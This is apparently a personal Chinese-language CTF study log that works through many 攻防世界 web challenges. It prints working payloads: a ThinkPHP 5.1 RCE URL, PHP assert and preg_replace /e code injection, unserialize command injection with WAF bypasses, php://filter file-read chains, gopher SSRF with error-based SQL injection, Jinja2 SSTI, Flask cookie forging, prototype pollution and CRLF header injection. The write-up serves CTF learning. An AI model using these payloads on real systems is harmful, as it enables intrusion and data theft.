(在朋友的推荐下,我选择了攻防世界)
php_rce
考察点:ThinkPHP 5.1框架的远程代码执行漏洞(RCE)
举例子代码:
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id |
一、原理解析:漏洞是如何触发的?
1. 参数拆解
s=index/\think\app/invokefunction
表示调用think\App类的invokefunction方法。ThinkPHP的路由解析允许通过URL参数直接指定类和方法,这是漏洞的入口。
2. function=call_user_func_array
指定要执行的回调函数为 call_user_func_array,这是PHP中用于调用用户自定义函数或系统函数的工具。
3. vars[0]=system 和 vars[1][]=id
vars[0]:回调函数的名称(这里是系统命令执行函数system)。vars[1][]:传递给回调函数的参数(这里是要执行的命令id)。
整体逻辑:
1 | call_user_func_array('system', array('id')); // 实际执行的PHP代码 |
相当于在服务器上执行 id 命令,返回当前用户信息。
改代码为:
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag |
mfw
考察点:Git源码泄露,PHP 代码注入漏洞
1.信息收集,扫描网站发现有大量的git文件,应该是Git文件泄露

2.githacker?
下载了一个早上,老是不行,你奶奶的
3.直接看wp:
源码:
1 |
|
这里会对file进行第一次检查:
1 | assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); |
我们只需要截断注入就行:
1 | payload:/?page=').system("cat ./templates/flag.php");// |
解释:
文件路径构建
1 | $file = "templates/" . $page . ".php"; |
$file 的值变为 templates/').system("cat ./templates/flag.php");//.php。
第一次 assert 检查
1 | assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); |
将 $file 的值代入后,assert 函数实际执行的代码是:
1 | strpos('templates/').system("cat ./templates/flag.php");//.php', '..') === false |
这里的单引号被攻击者传入的 ' 闭合,).system("cat ./templates/flag.php"); 成为了可执行的 PHP 代码。strpos 函数被中断,转而执行 system("cat ./templates/flag.php"),该命令会在服务器上执行 cat 命令,读取 ./templates/flag.php 文件的内容。
4.改进代码
1 |
|
安全改进点
1. 输入过滤
1 | $page = preg_replace('/[^a-zA-Z0-9_]/', '', $page); |
这行代码使用正则表达式对用户输入的 $page 参数进行过滤,只允许字母、数字和下划线,会把其他非法字符都替换为空字符串。这样做可以有效防止攻击者通过构造特殊字符(如单引号、括号等)来进行代码注入攻击,大大降低了代码注入漏洞的风险。
2. 避免使用 assert 函数
原代码使用 assert 函数执行字符串代码,容易引发代码注入问题。而此代码直接使用条件判断语句来检查文件路径是否包含非法字符和文件是否存在,避免了执行恶意代码的风险。
3. 路径检查
1 | if (strpos($file, '..')!== false) { |
这行代码检查文件路径中是否包含 ..,因为 .. 常用于目录遍历攻击,通过检查可以防止攻击者通过构造路径来访问系统的其他目录,增强了对目录遍历攻击的防范能力。
4. 文件存在性检查
1 | if (!file_exists($file)) { |
在加载文件之前,先使用 file_exists 函数检查文件是否存在。若文件不存在,就终止程序并给出相应提示,避免了因加载不存在的文件而可能引发的错误,同时也防止攻击者通过构造不存在的文件路径进行攻击。
ics-05
考察点:SSRF伪协议,ip伪造
题目提醒我们在维护中心

于是我们点进去,打开源码发现:

可能是文件包含漏洞!
我们尝试filiter,base64读取index.php:

解密后得到:
1 | //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 |
代码注入漏洞
当使用 preg_replace 的 /e 修饰符时,就会出现代码注入漏洞。该修饰符的作用是让替换后的字符串当作 PHP 代码来执行。要是用户能够控制替换字符串或者正则表达式模式,那么他们就能注入并执行任意的 PHP 代码。
我们先打开BP抓包,伪造IP:
1 | X-Forwarded-For: 127.0.0.1 |
构造代码:
1 | http://61.147.171.105:59143/index.php?pat=/.*/e&rep=system("find+/+-name+flag*")&sub=test |
来寻找flag得到:

发现:

(为什么选择它?它比较短……)
最终payload:
1 | ?pat=/.*/e&rep=system("more+/var/www/html/s3chahahaDir/flag/flag.php") |
得到:

1.漏洞原理
(1) PHP的preg_replace函数与/e修饰符
preg_replace函数用于执行正则表达式替换,语法为:1
preg_replace($pattern, $replacement, $subject);
/e修饰符:当正则模式中包含此修饰符时,$replacement字符串会被当作 PHP代码 执行(仅在PHP < 5.5.0中有效,高版本已废弃)。
(2) 漏洞代码示例
假设后端存在以下危险代码:
1 | $pattern = $_GET['pat']; // 用户可控的正则模式 |
(3) 攻击参数构造
你的请求参数为:
1 | pat=/.*/e |
- **
/.\*/e**:正则模式解释:/.*/:匹配任意字符(包括换行符,因未用/s修饰符)。/e:关键修饰符,启用代码执行模式。
- 替换逻辑:
preg_replace会匹配$subject(值为test)中的.*(即整个字符串),然后执行替换。- 替换内容
system("find+/+-name+flag*")被当作PHP代码执行。
2. 攻击过程分解
(1) 正则匹配阶段
- 模式:
/.*/e匹配$subject(test)的全部内容。 - 结果:匹配到字符串
test。
(2) 代码执行阶段
替换操作:将匹配到的
test替换为system("find+/+-name+flag*")。/e修饰符生效:替换内容被当作PHP代码执行,最终执行:php
复制
1
system("find / -name flag*");
命令执行结果:系统执行
find命令,递归搜索根目录下所有以flag开头的文件。
(3) 输出结果
find命令的输出(如文件路径)会通过preg_replace返回给前端页面。
3. 关键细节说明
(1) 为何空格用+替代?
- URL编码规则:URL中空格需编码为
%20或+,PHP的$_GET会自动将其转换为空格。 - 示例:
find+/+-name+flag*→ 实际执行为find / -name flag*。
(2) /e修饰符的版本限制
- PHP < 5.5.0:支持
/e修饰符,可直接利用。 - PHP ≥ 5.5.0:
/e修饰符被标记为弃用,但仍可能生效。 - PHP ≥ 7.0.0:完全移除
/e修饰符,此攻击失效。
Web_python_template_injection
考察点:SSTI
页面一篇空白,只提醒我们是模板注入:

我们扫描,抓包都失败了,测试访问robots.txt发现报错,试试看{{7*7}}?:

成功返回49,找到注入点
具体的参考SSTI专门讲解(
unseping
考察点:1z反序列化
源码:
1 |
|
发现:
1.exec存在注入漏洞
2.是通过
1 | if (in_array($this->method, array("ping"))) { |
来进行传输的
于是构造:
1 |
|
注意点:一定要是数组不然无法传入!!!($command = array('ls');)

被waf了,没关系,去搜索发现可以使用\绕过
\绕过:
构造:
1 |
|
成功返回:

空格又要怎么绕过呢?
空格绕过:
在Linux里面,${IFS}可以代替空格
/代替绕过:
$(printf${IFS}"\57")
Shell 命令替换,目的是动态生成一个特殊字符(这里是斜杠 /),同时绕过 WAF 对某些字符的过滤。具体分解如下:
1. 命令结构解析
- **
$()**:Shell 中的命令替换语法,括号内的命令会先执行,输出结果替换到当前位置。 - **
printf**:Shell 命令,用于格式化输出字符串。 - **
${IFS}**:Shell 的特殊变量,默认值为空格、换行、制表符(即$' \t\n'),这里用来绕过对 空格 的过滤。 - **
"\57"**:八进制转义字符,对应 ASCII 码的十进制值47,即字符/。
最终payload:
1 |
|
错误方法(chr法)
我突发奇想,能不能用chr来进行绕过?
结果绕过成功了,没有返回值。。
问了ai才知道:
为什么你的 chr 绕过失败?
在 PHP 反序列化中,chr 无法直接使用,因为:
静态字符串特性:
反序列化的字符串是静态的,PHP 不会在反序列化过程中动态执行chr函数。例如:1
2
3// 你尝试构造的字符串可能类似:
$cmd = "c" . chr(47) . "at /flag";
// 但序列化后的字符串是静态的 "c/at /flag",chr(47) 不会被执行。WAF 的正则表达式会直接检测到
cat或/,导致拦截。反序列化上下文限制:
反序列化仅还原对象属性,不会解析字符串中的 PHP 函数或语法(如chr、${}动态变量等)。你写入的chr(47)会被当作普通字符串,而非函数调用。
3. 为什么 SSTI 中 chr 可以绕过?
在 SSTI(服务端模板注入)场景中,模板引擎会 动态解析 注入的表达式。例如:
1 | # Flask/Jinja2 模板示例 |
如果模板引擎允许执行表达式,以下操作是可行的:
1 | {{ "c" ~ chr(47) ~ "at /flag" }} |
- 动态执行:模板引擎会先计算
chr(47)得到/,再拼接成cat /flag。 - 绕过逻辑:
WAF 可能直接检测cat或/,但通过chr动态生成这些字符,可以绕过静态正则匹配
file_include
考察点:文件读取+利用编码转换绕过代码执行
俺寻思着,这不是很简单嘛?

没想到啊,filter被WAF了,那怎么办呢!!!
搜了一下,发现有过滤器这东西
原理:
1 | php://filter/过滤器链/resource=文件 |
之前构造的都是:
1 | http://ctf.example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php |
这次的构造是:
1 | http://example/?filename=php://filter/convert.iconv.UTF-8*.UTF-32*%20/resource=check.php |
这里由ai讲解:
convert.iconv.UTF-8.UTF-32过滤器将文件内容从UTF-8转换为UTF-32编码:- UTF-8:可变长编码,1~4字节表示一个字符(如
<?对应3C 3F)。 - UTF-32:固定4字节编码,每个字符占4字节(如
<变为3C 00 00 00)。 - 转换效果:原始PHP标签的字节结构被彻底改变,PHP引擎无法识别标签,从而不执行代码。
- UTF-8:可变长编码,1~4字节表示一个字符(如
- 绕过代码执行,输出源码
编码转换后的内容不再是有效的PHP代码,服务器直接返回转换后的文本(即源码的UTF-32编码形式)。虽然看起来是乱码,但通过逆向转换或手动解码即可恢复原始PHP源码。
总结:利用了转码漏洞
其他常见过滤器示例
PHP 的 php://filter 支持多种过滤器,以下是更多实用场景:
(1) 压缩与解压
场景:读取压缩后的文件,或解压已压缩的内容。
示例:
1
2
3
4
5# 压缩文件内容(Zlib)
php://filter/zlib.deflate/resource=secret.txt
# 解压并读取
php://filter/zlib.inflate/resource=secret.txt.z
(2) 字符串处理
场景:移除标签、转义字符。
示例:
复制
1
2
3
4
5# 移除 HTML 标签
php://filter/read=string.strip_tags/resource=dangerous.html
# 转义特殊字符(如引号)
php://filter/read=string.escape/resource=user_input.txt
(3) 多过滤器链
场景:组合多个过滤器,分步处理内容。
示例:
1
2
3
4# 先 Base64 编码,再压缩
php://filter/read=convert.base64-encode|zlib.deflate/resource=flag.php
# 服务端返回的内容需要先解压,再 Base64 解码
(4) 字符替换
场景:替换或删除特定字符。
示例:
1
2
3
4# 将字母 A 替换为 B
php://filter/read=string.rot13|string.toupper/resource=file.txt
# ROT13 编码后再转大写(组合操作)
(5) 加密与解密
场景:简易加密数据(需配合自定义逻辑)。
示例:
1
2# 使用 XOR 加密(密钥为 'secret')
php://filter/read=convert.base64-encode|convert.iconv.UTF-8.UTF-16|...
3. 不同过滤器的实战用途
用途 1:绕过死亡代码
问题:目标文件中有
die()或exit(),直接包含会终止程序。绕过方法:
1
2# 用 Base64 编码跳过代码执行
php://filter/convert.base64-encode/resource=file_with_die.php
用途 2:隐藏敏感字符
问题:WAF 过滤关键词如
flag。绕过方法:
1
2# 用 UTF-16 编码 flag.php,隐藏原始文件名
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
用途 3:处理不可见字符
问题:文件包含二进制非打印字符(如图片)。
解决方法:
1
2# 转为可打印的 Base64
php://filter/convert.base64-encode/resource=image.png
4. 防御建议
- 禁用危险协议:在
php.ini中设置allow_url_include=Off。 - 输入白名单:仅允许包含指定文件,拒绝用户控制路径。
- 过滤特殊字符:检查参数中是否包含
php://、filter等关键字。 - 日志监控:记录异常文件包含请求,及时发现攻击行为。
总结
- 两个例子都是过滤器:一个用编码转换破坏 PHP 解析,另一个用 Base64 避免代码执行。
- 扩展用法:压缩、字符串处理、加密等过滤器可应对不同场景。
- 核心逻辑:通过过滤器改变文件内容的“形态”,绕过执行直接泄露数据。
catcat-new
考察点:文件包含,cookie劫持
1.文件包含具体参考专门讲解
我们获得:
1 | 'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)' |
交给ai分析后得到需要修改cookie来验证:

2.cookie劫持:
得到的cookie:
1 | session=eyJhZG1pbiI6MH0.Z-Yssw.DcEK7I6kSzMq9rng-AyNK8lH20U |
- 第一部分(
eyJhZG1pbiI6MH0):Base64 编码的会话数据,解码后是{"admin": 0}。 - 第二、三部分:签名(
Z-Yssw)和 HMAC(DcEK7I6kSzMq9rng-AyNK8lH20U),用于验证数据完整性。
直接访问**/proc/self/maps**获取可读内容的内存映射
/man是无法访问,只能写脚本了
脚本爆破得到cookie_key:

使用工具解密:
1 | python flask_session_cookie_manager3.py decode -s "serect_key" -c "session"(session通过抓包获取)。 |

使用工具加密:
1 | python flask_session_cookie_manager3.py encode -s "serect_key" -t "data" (data为想要修改的数据)。 |

最后虽然成功生成了。。。但是不知道是bug还是什么
无法得出flag!!!!!
fileinclude
Cookie文件包含
唯一需要注意的是。。。格式:
1 | Cookie: language=php://filter/read=convert.base64-encode/resource=flag |

记得在横线下
easyupload
所以我很讨厌upload。。。。。。。
Web_php_include
用其他伪协议就行
要注意的一点是:不能写cat /fl4gisisish3r3.php
这是读取根目录,不是本目录
web2
这考的啥啊。。。
应该是考察密码破解
源码:
1 |
|
解释:
**
$_o=strrev($str);**:这行代码将输入的字符串$str进行反转操作,结果存储在变量$_o中。for($_0=0;$_0<strlen($_o);$_0++){...}:这是一个循环,用于遍历反转后的字符串中的每个字符。
- **
$_c=substr($_o,$_0,1);**:从$_o中取出当前位置的字符,存储在变量$_c中。 - **
$__=ord($_c)+1;**:使用ord函数获取字符$_c的 ASCII 码值,然后将其加 1,结果存储在变量$__中。 - **
$_c=chr($__);**:使用chr函数将新的 ASCII 码值转换为对应的字符,更新$_c的值。 - **
$_=$_.$_c;**:将更新后的字符$_c追加到变量$_后面。
- **
**
return str_rot13(strrev(base64_encode($_)));**:对处理后的字符串$_进行一系列操作,首先使用base64_encode函数进行 Base64 编码,然后使用strrev函数进行反转,最后使用str_rot13函数进行 ROT13 加密,最终返回加密后的字符串
叫ai写个脚本好了:
1 |
|
warmup
文件阅读 + 文件包含
源码:
1 |
|
注入点:截取 $page 问号前的部分并检查
1 | $_page = mb_substr( |
mb_substr函数用于截取字符串。mb_strpos函数用于查找字符串中某个字符首次出现的位置。- 这里先把
$page加上?再查找?的位置,然后截取$page从开头到?之前的部分赋值给$_page。 - 接着检查
$_page是否在白名单中,若存在就返回true。
只要提前把?输入句子躲过检查即可!
1 | payload: |
very_easy_sql
考察点:SSRF,Cookie的sql注入
1.打开源码,发现hint:

我们就打开use.php页面,发现是传输url。。可能是SSRF?

2.尝试文件读取
输入file协议:

被拦截了。。。
3.试试看别的协议:
只能看wp了,发现原来是gopher协议吗。。。
写gopher协议脚本:
1 | import urllib.parse |
得出:

发现:

猜测Cookie是注入点:
写代码测试:
1 | import urllib.parse |

出现报错,说明方法正确!:

4.SQL注入
别人wp是报错注入,我试试看union select
1 | gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMyM%253D%250D%250A%250D%250A |
发现不行,那就试试看报错注入
查数据库
1 | admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) # |

查表
1 | admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) # |

查列
1 | admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) # |

最终查内容:
1 | admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) # |

1 | cyberpeace{fe544ad1474af471c992 |
得出下半部分:
1 | 92a53b964726ab} |
参考wp:攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-CSDN博客
easytornado
考察点:SSTI配置文件查询,md5加密
进入页面:

打开hint:

1 | md5(cookie_secret+md5(filename)) |
嘶。。。哪里去找密钥?
尝试读取/fllllllllllllag
报错了?又提醒是easytornado

试试看模板注入:

失败了。。。后面好多尝试都失败了,只好去查询WP了
直接读取配置文件:
1 | {{handler.settings}} |
得到:
1 | 'cookie_secret': 'eff94685-072a-4b1c-88ff-213de1a55c78' |
1 | md5(filename)=3bf9f6cf685a6dd8defadabfb41a03a1 |
1 | md5(cookie_secret+md5(filename))=3777d84e077d3998d8a7bf6eebd552fe |

lottery
老是加载不进去,不刷了
shrine
考察点:(),config,self被禁止的SSTI
源码:
1 |
|
代码解释:
我们可以在**/shrine/**后面写入任意代码?
发现注入点:
1 | return flask.render_template_string(safe_jinja(shrine)) |
这个代码会自动渲染写入的文件,导致SSTI
步骤:
1.测试:
1 | http://61.147.171.105:58629/shrine/{{7*7}} |

确实是有注入点
2.读取

括号被过滤了啊。。。
那怎么办呢。。只好问问万能的ai酱了
3.最终payload:
1 | {{ url_for.__globals__.current_app.config.FLAG }} |
解释:利用Flask全局对象
1. 发现盒子的「工具包」
Flask在模板中默认提供了一些「工具」(全局对象),比如:
url_for:生成链接的工具。request:处理请求信息的工具。session:管理用户会话的工具。
关键点:这些工具是盒子自带的,你不需要自己带工具进去,可以直接用它们。
2. 选择一个工具:url_for
为什么选它?因为它是一个函数(工具),而函数有个隐藏属性:**__globals__**。
这相当于说:「每个工具都有一个说明书,记录了它所在车间(模块)的所有设备和材料」。
3. 查看工具的「说明书」(__globals__)
1 | {{ url_for.__globals__ }} |
输出:会显示一个巨大的字典,里面包含这个工具所在环境的所有变量和对象。
重点寻找:字典中有一个叫 current_app 的东西,它是当前正在运行的魔法盒子本身(即Flask应用实例)。
4. 抓住盒子的「核心」(current_app)
1 | {{ url_for.__globals__.current_app }} |
输出:<Flask 'app'>(这就是你的魔法盒子!)
意义:你现在拿到了盒子的控制权,可以操作它的内部结构。
5. 找到盒子的「密码箱」(config)
每个魔法盒子都有一个密码箱(config),里面存放着所有配置,包括钥匙(FLAG)。
1 | {{ url_for.__globals__.current_app.config }} |
输出:<Config {'FLAG': 'flag{example}', ...}>(密码箱里的内容!)
6. 取出钥匙(FLAG)
直接访问密码箱里的钥匙:
1 | {{ url_for.__globals__.current_app.config.FLAG }} |
结果:输出 flag{example},成功拿到钥匙!
为什么这能绕过黑名单?
- 黑名单规则:代码中设置了
config = None和self = None,但这里的config是current_app的属性,不是模板自身的config。 - 绕过原理:就像盒子的外壳(模板)被设置了陷阱,但你通过内部工具(
url_for)直接绕到盒子的核心层,跳过了外壳的限制。
比喻总结
想象你在一个房间里找钥匙,但房门被锁了(黑名单)。你发现房间里有把梯子(url_for),爬上去发现天花板有个隐藏阁楼(__globals__),阁楼里放着整个房子的蓝图(current_app)。通过蓝图找到保险箱(config),最终拿到钥匙(FLAG)!
类似思路:
25.3.29
wife_wife
考察点:原型链污染
尝试过程
错误方法:sql注入
我尝试各种sql注入:
1 | 1.直接注入 失败 |
查看源码
发现一段js代码,但是没有用
我发现注册时候有一个是否是管理员的选项?
但是需要邀请码。。。

不需要爆破?测试sql也不行。
只能看wp了
正确方法
污染?
这个词嘛。。。。是第二次见到了,上次,还是在做Nctf呢。
什么是污染?
个人理解:在原有的配置下,又输入一次新的配置,把原本的 加密 配置 or 过滤配置 给覆盖了,这就是污染。
怎么污染?
这一题需要去查看源码:
1 | app.post('/register', (req, res) => { |
科普:
JS的找 属性 / 方法 原理
JavaScript 中每个对象都有一个隐藏属性 [[Prototype]](可通过 __proto__ 访问),它指向另一个对象(原型对象)。当访问对象属性时,若自身不存在,会沿原型链向上查找,直到找到或到达终点(null)。
__proto__是什么?
让一个对象的属性继承给另一个
例子:
1 | // 定义一个“秘籍”(原型对象) |
you这个对象里面本来应该是没有useSkill方法的,但是__proto__函数使其成为book的子链,让他可以向上寻找方法,找到useSkill方法。
应用于这一题:
baseUser解释:
baseUser 是一个基础用户模板对象,用于为新注册的用户设置默认属性值,确保所有用户初始状态一致。以下是详细解释:
1 | const baseUser = { |
做题:
1 | let newUser = Object.assign({}, baseUser, user) |
我们的**输入是user**,配置文件在baseUser,Object.assign会合并二者
那我们输入:
1 |
|

成功污染
再登入即可获得flag
题目名称-文件包含
考察点文件包含过滤器的灵活使用

只告诉我们传输点,尝试base64,发现不行,被WAF了
尝试简单过滤器:
1 | http://61.147.171.105:51104/?filename=php://filter/convert.iconv.UTF-8.UTF-32/resource=check.php |
发现不行,看来我对过滤器的了解还是太少了
过滤器:
在 PHP 中,过滤器(Filter) 是一种用于对流数据(如文件、网络输入)进行实时处理(编码/解码/转换)的机制。通过 php://filter 协议,可以动态地对文件内容进行编码转换或压缩,常用于绕过安全限制或解析文件内容。
PHP 过滤器的核心作用
- 编码转换:例如
convert.iconv.*转换字符集(UTF-8 → UTF-16)。 - 压缩加密:例如
zlib.deflate压缩数据。 - 字符串处理:例如
string.rot13对内容进行 ROT13 编码。
convert.iconv.*
做法:
1 | UCS-4* |
使用集束爆破来爆破:

记得两个全写入文本:

爆破即可:

只要修改为flag.php就行
仔细研究?先拖着
ez_curl
2025-4-21
(我必须仔细明白源码,这才能知道他们在考察什么)
到底在考察什么呢
考察点:1.代码阅读 2.Header绕过 3.url长度限制
源码1:(js)
1 | const express = require('express'); |
这是后端代码,用于检测前端的HTTP头部是否包含Admin,Admin的值是不是true是的话就返回flag
源码2:(index.php)
1 |
|
关键代码1:
1 | $input = file_get_contents('php://input'); |
这个代码会读取包含我们输入的POST(**~POST传输**,但是可以传入JSON格式)
题目中这段代码的目的是让用户通过 JSON 格式的请求体动态传递以下内容:
- 自定义请求头(
headers):
用于绕过 PHP 前端的检查,并最终传递到后端 Express 服务。 - 自定义查询参数(
params):
用于构造目标 URL 的查询参数(如?admin=#)。
关键代码2:
1 | $url .= '&admin=false'; |
会强制在url后面强行加一个**&admin=false**导致后端已知无法识别为正确的
关键代码3:
1 | if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){ |
会检测头文件(Header)中是否包含admin且为true,有的话就会终止
payload:
看别人wp:
1 | import requests |
尝试添加admin为头部:
1 | "headers": ["X-Header: value\r\nAdmin: true"] |
在请求头中插入换行符
\r\n,将一个头拆分成两个头。示例:
1
"headers": ["X-Header: value\r\nAdmin: true"]
PHP视角:
- 认为这是一个完整的头:
X-Header: value\r\nAdmin: true。 - 检查键名
X-Header不含admin,允许通过。(绕过if防止终止)
- 认为这是一个完整的头:
Express后端视角:将
\r\n视为分隔符,解析为两个独立的头:1
2X-Header: value
Admin: true <-- 实际生效的头!
原理:
PHP 头处理机制:
解析逻辑:PHP 代码逐个处理用户提供的头字符串,使用冒号
1
:
分割键和值。例如,字符串
1
"X-Header: value\r\nAdmin: true"
会被视为单个头。
- 键提取:提取第一个冒号前的
X-Header作为键。 - 值提取:剩余部分
value\r\nAdmin: true作为值。
- 键提取:提取第一个冒号前的
检查绕过:由于键为
X-Header(不含admin),PHP 的检查逻辑通过,未触发拦截。
HTTP 协议标准:
头分隔符:HTTP 头应以
\r\n分隔,每个头占据一行。正确解析:Node.js 的 HTTP 解析器遵循标准,将
1
\r\n
视为分隔符,将字符串拆分为两个独立头:
1
2X-Header: value
Admin: true
防止结尾加上&
1 | for i in range(1020): |
通过大量的
1 | x0=0 |
来淹没Express
Express
1 | express是一个流行的[Node.js](https://so.csdn.net/so/search?q=Node.js&spm=1001.2101.3001.7020) Web框架。其中paramterLimit选项用于指定query string 或者 request payload 的最大数量。在默认情况下,它的值为1000 |
Cat
考察点:宽字节无法解析,Django 框架忘记关闭debug调试模式
页面分析:

看来是一个类似于ping的页面输入127.0.0.1成功返回,测试命令注入,发现大部分都被WAF
1 | . |
这几个又能挑起什么火花呢?
1.输入%80返回一大堆页面
只能在url上输入,别在框里输入!!!!!

为什么会返回这么多呢?
前提是 DEBUG=True
宽字节的url需要编码两次以上

%00—-%79都是前半部分的,**%80是后半部分的,所以输入一个%80没有意义**的,只有前面有东西才行
所以才会报错
不同框架的对比:
| 框架/语言 | 行为示例 |
|---|---|
| Django | 显示详细调试页面(含代码、环境变量),前提是 DEBUG=True。 |
| Flask | 默认返回简洁错误页(如400 Bad Request),若开启调试模式(debug=True)也会显示详细信息。 |
| Spring Boot | 返回JSON格式错误(如 {"error":"Invalid URL"}),需主动配置才会暴露堆栈信息。 |
| PHP | 可能无输出、记录错误日志或显示服务器默认错误页(如Apache的500错误)。 |
复制大佬的说法:
因为后台同时运行的php程序和python的dijango程序(看大佬 WP,大佬猜的),**通过暴露给我们的php程序获得上传的数据,而php程序用POST方式里的curl将GET方式获得的数据传给django的对应的API,而传递过去之后,由于二者编码方式不同(类似于宽字节注入的逻辑),出现解码错误,即UnicodeEncodeError at /api/ping**,然后又因为后台dijango的debug没有关闭,所以会将错误信息直接返回给php程序进而给回显出来了。漏洞的逻辑大概就是这样,而利用点就是,curl用@来读取本地文件,在报错文本里,查找关键字
1 | 如database、ctf、flag、cat、database、XCTF等关键词 |
查询是否有有用的东西:

1 | setting |
这些是有用的
发现确实是有链接sql数据库的:

特殊考点:@读取
当我们输入:
1 | @/opt/api/database.sqlite3 |
再搜索页面便得到了flag:

为什么能成功读取这个库呢?
首先来了解什么是Django框架?
| 特性 | Django | Flask |
|---|---|---|
| 定位 | “全功能”企业级框架 | 轻量级微框架 |
| 学习曲线 | 较高(功能复杂) | 较低(灵活简洁) |
| 适用场景 | 复杂业务系统 | 小型应用、API服务 |
| 内置功能 | ORM、Admin、认证等 | 需依赖扩展库 |
| 灵活性 | 约定优于配置 | 高度自由,可自定义 |